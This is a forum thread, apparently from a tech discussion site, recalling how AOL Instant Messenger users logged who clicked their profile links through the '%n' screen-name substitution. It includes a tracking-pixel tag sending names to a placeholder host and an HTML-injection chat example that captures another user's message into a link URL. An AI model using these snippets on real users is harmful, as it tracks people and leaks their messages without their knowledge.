You had to put a link in your profile that contained "%n", and the client would replace %n with the screen name of the person clicking the link. They never took that away as long as I was using AIM, but there was no way to see anyone simply viewing your profile without clicking a link as far as I can remember.

Ah that's right. I remember when it was still not widely known you could catch some people, but I think people caught on eventually.

Could you have added an <img src="http://tracking.example.com/pixel.gif?name=%n"> to the profile, tracking them via the weblogs, or having a era-appropriate CGI script sitting there that kept track of them?

I'm pretty sure you couldn't embed images in your profile.

I wasn't an AOL user so it took me a few reads. What this must mean is something like:

    [Joe]  what's up <a href="//example.net/?username=
    [Jane] nm, wbu
    [Joe]  ">join my chess game?</a>

Which could show on Jane's screen as

    [Joe] what's up
    [Joe] join my chess game? (<-link)

The message of Jane would have looked like it got swallowed because it was inside the HTML tag, but so long as they don't know what's up and ignore it, the link would go to something like https://example.net/?username=%0A%5BJane%5D%20nm%2C%20wbu%0A...

Less clever than that. jaywalk's comment got it. You could put a link in your away message/status/profile and see which people clicked it and/or were "stalking" you.

This used to work on Facebook... and still does apparently!

At least if you are this person: http://facebook.com/profile.php?=73322363